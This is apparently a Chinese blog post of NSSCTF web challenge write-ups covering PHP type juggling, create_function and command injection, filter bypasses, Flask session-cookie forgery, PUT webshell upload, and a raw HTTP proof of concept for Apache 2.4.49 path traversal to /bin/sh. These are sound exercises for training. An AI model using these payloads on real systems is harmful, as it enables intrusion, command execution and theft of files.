当前位置: 首页 > article >正文

NSSRound(持续更新)

了解过PHP特性吗

这个题相当于是php特性大杂烩

先看源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        $checker_2 = TRUE;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
} 

首先看第一部分

这个地方说明num输入的值不能为数字,但是第二部分说明num必须为数字,这个地方需要用数组绕过,payload

num[]=1

第二部分

strrev()是将输入的值进行反转,相当于反转字符串

ctype_alpha()表示必须输入字母

is_numeric()表示必须输入数字

然后两个值的md5还要相等

首先,MD5的弱比较用240610708和QNKCDZO绕过,将这两个再反转就行

payload

ctype=OZDCKNQ
is_num=807016042

第三部分

这个地方表示$_114必须大于114514,但是长度又要小于3位,科学计数法绕过就行

$_514不能为纯数字,并且要大于9999999,这个地方随便输入一个比9999999大然后加个字母就行

payload

114=2e8
514=9999999999a

第四部分

这个地方首先需要输入一个数组,并且里面不能包含NSS,但是后面又必须要NSS,这时看array_search()函数

array_search()相当于把里面的东西进行弱比较,在array_search("NSS", $arr4y) 中,相当于(NSS==$arr4y),这个地方就用数组绕过弱比较

payload

arr4y[]=0

最终结果

最后一部分

主要看create_function()函数

create_function()函数就相当于eval()函数,这个函数会在内部执行eval()指令

create_function()相当于

function answer($a,$b){
    ........
}

但是这个地方只有$b是进行代码执行的,$a只用于声明函数变量

payload

shell=&nss=}system('ls');//

这个地方相当于先闭合前{,然后注释后}

basic_check

解题

进来只有这些东西,通过dirsearch扫目录,抓包等等操作都无法找到切入点

这个题需要用到nikto工具

基本使用

nikto -h url

注意这一条

说明可以用PUT方法进行文件上传

上传成功,然后连接一句话木马

nikto工具介绍

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。

ec_RCE

这个题和以往做的rce题不太一样,这个题虽然没什么过滤,但这个题的关键却在管道符

让action=||,data='tac /flag'即可

ez_factors

进来有一个tools

进去之后进入这个页面

factor作用

factor用分解因数,是linux的一个命令,这个地方可以用管道符进行命令执行

解题方法

根据题目提示说flag在/flag,那么直接用;cat /flag试试

被搬了,应该是不能用/,将这个用url编码就行

输出一堆数字,这个地方应该是设置了只能输出数字,可以用od绕过

od命令执行最佳命令

od -A n -t d1 %2fflag

此时就只有输出十进制,然后转文本就行

ez_rce

dirsearch抓包后没有任何有用的信息

通过nikto搜索后发现题目可以用TRACE进行请求

TRACE请求可以构造xss漏洞

发送后会下载一个文件,点开就有xss

但是这个地方并没有flag

然后就是看服务器版本

Apache/2.4.49 (Unix)

这个版本是存在漏洞的

Apache/2.4.49任意文件读取

以get请求访问/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd就行

如果有回显,说明存在这个漏洞,在这个题目中并没有这个漏洞

Apache/2.4.49命令执行

访问抓包

POC

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: node4.anna.nssctf.cn:28289
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1727336731,1727337372,1727419423,1728493198
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 123.123.123.124
X-Originating-IP: 123.123.123.124
X-Remote-IP: 123.123.123.124
X-Remote-Addr: 123.123.123.124
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Priority: u=0, i
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
​
echo;ls

flaskjwt

这个题目是flask的session伪造,从题目就可以看出来

flask_session介绍

首先需要一个密钥

通过这个密钥得到session

在Flask中,Session是一种服务器端的状态管理机制,它允许开发者在不同的请求之间存储和访问用户数据。Session的数据是存储在服务器上的,而用户的浏览器会保存一个Session ID的Cookie,用于识别和维持会话状态。

做题

先随便注册一个账号并登录

就可以在存储地方找到session

session=.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9muYg.KIb-xqmD71K9K8qHSagTuQz9RQo

然后还缺一个密钥

在忘记密码处就可以找到这个密钥

th3f1askisfunny

现在两个都有了就可以使用flask_session_cookie_manager3.py进行加解密

python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_08r3B-xWLsw.Z9mpmA.frwhmrq9b6mOojZUtdE67VI0K9s"

输出结果为

{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '2'}

将这个2改为1就是admin

python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1'}"

生成结果为

.eJwlzjEOwzAIAMC_eO5gjDE4n4nAgNo1aaaqf2-kjrfdp-x5xPks2_u44lH2l5et0FiSQ0I5VCpYpFUQHejUXCm93_ZlbKiJ2ueSYMhma_VBPJmIbUit5oCoMFrN0NqpggKyNGwDOAdNJ-mYa9bVOxoRiBh5uSPXGcd_A-X7A-xTLss.Z9mr8g.LQkxfVxVj5tSbhwjIZAxaZi4TyM

将这个放到session里面就可以得到flag

flask_session_cookie_manager3.py基本使用

编码

python flask_session_cookie_manager3.py encode -s 'your_secret_key' -t '{"username": "admin", "number": "123456"}'

解码

python flask_session_cookie_manager3.py decode -c 'your_encoded_cookie' -s 'your_secret_key'

flaskjwt(hard)

进来只有一个登录页面

这里有注册的地方以及忘记密码的地方

先随便注册一个账户,然后登录进去

然后getflag时需要admin权限

这个题目是flask的session,在cookie里面找答案

解密这个需要密钥,在这个页面查看源码

发现提示信息

这里告诉了登录时间,可以试试将cookie清空

然后进入调试页面

密钥就藏在此处

然后使用flask_session_cookie_manager3.py先进行解码

python flask_session_cookie_manager3.py decode -s "hardgam3_C0u1d_u_f1ndM3????" -c ".eJwlzjGOAjEMQNGrRKkp7NhOPDkAVHTbIydxtFPQBKgQd2dWW75f_Xe8zeWP31if6-WneNtHrFFy15nVrbgpYPPZANUyDUnDZA4-PHorjWyS8dbVC87UeucsZSsipWUFaAOJDHOC6QYsgIZUNFHKWGaWbYgyzb5BZ6YmgqpNRjxGXg9f_zfp4HO_e6zvGP7Cee2nkDBcbYUESQLkylSFw-X6Ez-fL1-9Oi4.Z90Kqg.UAqII5pfq724s9QPiXh1pKCYWgE"

然后将userid改为1,并进行加密

>python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True, '_id': '56c8f68ea7ea801befb018a63d52da5fd4b01dcb7b3af3a49c8e71f2bcc465797557b6800bd133a1620fea04501a1378232617f659d5843fc90c443b55188b5d', '_user_id': '1', 'time': 'datetime.datetime(2025, 3, 21, 6, 43, 54, tzinfo=datetime.timezone.utc)'}"

将加密后的结果替换原来的cookie

MyPage

进入这个题目后,一切为空

但是传了一个?file=,估计是文件包含,而且这个题存在require_once

需要绕过,当题目没有告知源码时,也需要进行判断require_once,多个方向

/proc/self/cwd代表当前目录,此题中var被ban了,不能用绝对路径

payload

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

base64解密后

<?php
error_reporting(0);
​
include 'flag.php';
​
if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];
​
    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include_once $file;
    } else {
        die('error.');
    }
}

然后包含flag就行

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

PYRCE

进入靶场只有一个/source文件

进入之后发现是一个python脚本

简单解析

from flask import Flask, request, make_response
import uuid
import os
​
# 假设 flag 存储在 /flag 文件中
app = Flask(__name__)
​
​
# WAF(Web 应用防火墙)函数,用于过滤危险的输入
def waf(rce):
    # 黑名单字符,包含数字、特殊字符和一些危险字符
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
​
    # 检查输入中是否包含黑名单中的字符
    for black in black_list:
        if black in rce:
            return False  # 如果包含黑名单字符,返回 False
    return True  # 否则返回 True
​
​
# 根路由,处理 GET 请求
@app.route('/', methods=['GET'])
def index():
    # 检查请求参数中是否包含 "Ňśś"
    if request.args.get("Ňśś"):
        nss = request.args.get("Ňśś")
​
        # 使用 WAF 检查输入是否合法
        if waf(nss):
            # 如果输入合法,执行系统命令
            os.popen(nss)
        else:
            # 如果输入不合法,返回 "waf"
            return "waf"
​
    # 默认返回 "/source" 路径
    return "/source"
​
​
# /source 路由,返回应用程序的源代码
@app.route('/source', methods=['GET'])
def source():
    # 读取并返回 app.py 文件的内容
    src = open("app.py", 'rb').read()
    return src
​
​
# 启动 Flask 应用程序
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

关键代码

过滤了这些

这里是一个执行命令

但是这个地方并没有.read()函数,因此无法回显结果,可以试试cp命令或者tar命令

这里以cp命令为例

题目告知flag在/flag内

因此只需要

cp /flag app.py

然后访问/source即可

但是这个地方/被过滤了,空格也被过滤了

空格可以用%09绕过,这个地方%09是一个整体,因此前面对于数字的绕过对这个地方并没有效果

在linux中,/可以用$(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&pwd)来绕过

payload

Ňśś=cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&pwd)flag%09app.py

这里需要url编码

Ňśś=cp%09%24(cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26cd%09%2e%2e%26%26pwd)flag%09app%2epy

然后访问source即可得到flag


http://www.kler.cn/a/599588.html

相关文章:

  • 测试工程 常用Python库
  • 数据库的左连接,右连接,全外连接,自连接,内连接的区别
  • IS-IS原理与配置
  • 苹果iPhone 16e销量表现糟糕 难以拯救市场
  • 嵌入式八股RTOS与Linux---进程间的通信与同步篇
  • Select多路转接
  • 【机器学习】什么是线性回归?
  • Go常见问题与回答(下)
  • 【HTTP 传输过程中的 cookie】
  • 详细Linux中级知识(不断完善)
  • 高级java每日一道面试题-2025年3月09日-微服务篇[Eureka篇]-说一说Eureka自我保护模式
  • AI日报 - 2025年3月25日
  • 2018扬州大学876农业机械学概论填空名词解释简答
  • leetcode1109. 航班预订统计-medium
  • 批量配置Linux ~/.bash_profile
  • 【蓝桥杯每日一题】3.20
  • 阅读li2019-DOT源码--逐步调试
  • 第八课:Python高级排序算法:分治策略的深度应用与实践
  • 生产部署与多框架支持
  • 从零开始实现 C++ TinyWebServer 项目总览